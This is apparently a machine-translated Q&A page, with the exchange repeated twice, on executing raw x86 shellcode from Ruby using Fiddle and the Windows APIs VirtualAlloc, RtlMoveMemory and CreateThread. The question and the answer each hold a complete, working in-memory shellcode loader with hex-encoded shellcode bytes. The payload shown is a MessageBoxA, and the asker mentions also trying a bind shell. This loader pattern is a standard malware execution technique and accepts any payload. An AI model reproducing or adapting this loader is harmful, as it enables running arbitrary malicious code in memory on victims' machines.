如何将 Fiddle 与 Windows API (dll) 一起使用到 运行 Ruby 中的 shellcode
How to use Fiddle with Windows API (dll) to run a shellcode in Ruby
我正在尝试使用 ruby Fiddle 标准库到 Windows API 到 运行 shell 代码
代码的思路是
- 拥有可执行任何操作的十六进制 shell原始代码(例如 MessageBoxA)
- 致电
kernel32.dll
- 为此shell代码分配内存。
VirtualAlloc
- 为此shell代码创建缓冲区
- 将 shell代码移至该分配。
RtlMoveMemory
- 创建一个新线程来执行该shell代码。
CreateThread
- 等待 execution/thread 结束。
WaitForSingleObject
代码如下:
require 'fiddle'
require 'fiddle/import'
require 'fiddle/types'
shellcode = # MessageBoxA
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" +
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" +
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" +
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e" +
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c" +
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74" +
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe" +
"\x49\x0b\x31\xc0\x51\x50\xff\xd7"
include Fiddle
kernel32 = Fiddle.dlopen('kernel32')
puts "[-] VirtualAlloc"
ptr = Function.new(kernel32['VirtualAlloc'], [4,4,4,4], 4).call(0, (shellcode.size), 0x3000, 0x40)
Function.new(kernel32['VirtualProtect'], [4,4,4,4], 4).call(ptr, shellcode.size, 0, 0)
puts "[-] Create buffer"
buf = Fiddle::Pointer[shellcode]
puts "[-] RtlMoveMemory"
Function.new(kernel32['RtlMoveMemory'], [4, 4, 4], 4).call(ptr, buf, shellcode.size)
puts "[-] CreateThread"
# thread = Function.new(kernel32['CreateThread'], [4, 4, 4, 4, 4, -4], 4).call(0, 0, ptr, 0, 0, 0)
thread = Function.new(kernel32['CreateThread'], [4,4,4,4,4,4], 4).call(Fiddle::NULL, 0, ptr, 0, 0, 0)
pp Function.new(kernel32['WaitForSingleObject'], [4,4], 4).call(thread, -1)
问题是 MessageBoxA 永远不会执行,当我尝试绑定 shell 之类的东西时,TCP 连接在我连接时成功启动,但我无法执行命令,一旦我发送任何内容它就会结束两次就像按两次输入一样。
我检查了缓冲区 buf
大小和内容 buf.size
、buf.to_str
,它是准确的。
我是不是漏掉了什么?
谢谢!
注意:我不想直接调用 MessageBoxA API 我需要从 shell 代码中执行它。
嗯,我认为这段代码完美无缺
require 'fiddle'
require 'fiddle/import'
require 'fiddle/types'
# MessageBoxA
shellcode =
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64" +
"\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e" +
"\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60" +
"\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b" +
"\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01" +
"\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d" +
"\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01" +
"\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01" +
"\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89" +
"\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45" +
"\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff" +
"\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64" +
"\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56" +
"\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24" +
"\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67" +
"\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89" +
"\xe3\x68\x52\x49\x58\x20\x68\x47\x53\x41\x42\x68\x40\x4b" +
"\x49\x4e\x31\xc9\x88\x4c\x24\x0a\x89\xe1\x31\xd2\x52\x53" +
"\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08"
include Fiddle
kernel32 = Fiddle.dlopen('kernel32')
puts "[-] VirtualAlloc"
ptr = Function.new(kernel32['VirtualAlloc'], [4,4,4,4], 4).call(0, (shellcode.size), 0x3000, 0x40)
Function.new(kernel32['VirtualProtect'], [4,4,4,4], 4).call(ptr, shellcode.size, 0, 0)
puts "[-] Create buffer"
buf = Fiddle::Pointer[shellcode]
puts "[-] RtlMoveMemory"
Function.new(kernel32['RtlMoveMemory'], [4, 4, 4], 4).call(ptr, buf, shellcode.size)
puts "[-] CreateThread"
# thread = Function.new(kernel32['CreateThread'], [4,4,4,4,4,4], 4).call(Fiddle::NULL, 0, ptr, 0, 0, 0) # Works
thread = Function.new(kernel32['CreateThread'], [4,4,4,4,4,4], 4).call(0, 0, ptr, 0, 0, 0) # Works
Function.new(kernel32['WaitForSingleObject'], [4,4], 4).call(thread, -1)
注意:Shellcode 应该 OS 架构兼容。在我们的例子中,这个 MessageBoxA 是 32 位兼容的。
参考
HTH 有一天有人
我正在尝试使用 ruby Fiddle 标准库到 Windows API 到 运行 shell 代码
代码的思路是
- 拥有可执行任何操作的十六进制 shell原始代码(例如 MessageBoxA)
- 致电
kernel32.dll
- 为此shell代码分配内存。
VirtualAlloc
- 为此shell代码创建缓冲区
- 将 shell代码移至该分配。
RtlMoveMemory
- 创建一个新线程来执行该shell代码。
CreateThread
- 等待 execution/thread 结束。
WaitForSingleObject
代码如下:
require 'fiddle'
require 'fiddle/import'
require 'fiddle/types'
shellcode = # MessageBoxA
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" +
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" +
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" +
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e" +
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c" +
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74" +
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe" +
"\x49\x0b\x31\xc0\x51\x50\xff\xd7"
include Fiddle
kernel32 = Fiddle.dlopen('kernel32')
puts "[-] VirtualAlloc"
ptr = Function.new(kernel32['VirtualAlloc'], [4,4,4,4], 4).call(0, (shellcode.size), 0x3000, 0x40)
Function.new(kernel32['VirtualProtect'], [4,4,4,4], 4).call(ptr, shellcode.size, 0, 0)
puts "[-] Create buffer"
buf = Fiddle::Pointer[shellcode]
puts "[-] RtlMoveMemory"
Function.new(kernel32['RtlMoveMemory'], [4, 4, 4], 4).call(ptr, buf, shellcode.size)
puts "[-] CreateThread"
# thread = Function.new(kernel32['CreateThread'], [4, 4, 4, 4, 4, -4], 4).call(0, 0, ptr, 0, 0, 0)
thread = Function.new(kernel32['CreateThread'], [4,4,4,4,4,4], 4).call(Fiddle::NULL, 0, ptr, 0, 0, 0)
pp Function.new(kernel32['WaitForSingleObject'], [4,4], 4).call(thread, -1)
问题是 MessageBoxA 永远不会执行,当我尝试绑定 shell 之类的东西时,TCP 连接在我连接时成功启动,但我无法执行命令,一旦我发送任何内容它就会结束两次就像按两次输入一样。
我检查了缓冲区 buf
大小和内容 buf.size
、buf.to_str
,它是准确的。
我是不是漏掉了什么?
谢谢!
注意:我不想直接调用 MessageBoxA API 我需要从 shell 代码中执行它。
嗯,我认为这段代码完美无缺
require 'fiddle'
require 'fiddle/import'
require 'fiddle/types'
# MessageBoxA
shellcode =
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64" +
"\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e" +
"\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60" +
"\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b" +
"\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01" +
"\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d" +
"\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01" +
"\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01" +
"\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89" +
"\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45" +
"\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff" +
"\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64" +
"\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56" +
"\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24" +
"\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67" +
"\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89" +
"\xe3\x68\x52\x49\x58\x20\x68\x47\x53\x41\x42\x68\x40\x4b" +
"\x49\x4e\x31\xc9\x88\x4c\x24\x0a\x89\xe1\x31\xd2\x52\x53" +
"\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08"
include Fiddle
kernel32 = Fiddle.dlopen('kernel32')
puts "[-] VirtualAlloc"
ptr = Function.new(kernel32['VirtualAlloc'], [4,4,4,4], 4).call(0, (shellcode.size), 0x3000, 0x40)
Function.new(kernel32['VirtualProtect'], [4,4,4,4], 4).call(ptr, shellcode.size, 0, 0)
puts "[-] Create buffer"
buf = Fiddle::Pointer[shellcode]
puts "[-] RtlMoveMemory"
Function.new(kernel32['RtlMoveMemory'], [4, 4, 4], 4).call(ptr, buf, shellcode.size)
puts "[-] CreateThread"
# thread = Function.new(kernel32['CreateThread'], [4,4,4,4,4,4], 4).call(Fiddle::NULL, 0, ptr, 0, 0, 0) # Works
thread = Function.new(kernel32['CreateThread'], [4,4,4,4,4,4], 4).call(0, 0, ptr, 0, 0, 0) # Works
Function.new(kernel32['WaitForSingleObject'], [4,4], 4).call(thread, -1)
注意:Shellcode 应该 OS 架构兼容。在我们的例子中,这个 MessageBoxA 是 32 位兼容的。
参考
HTH 有一天有人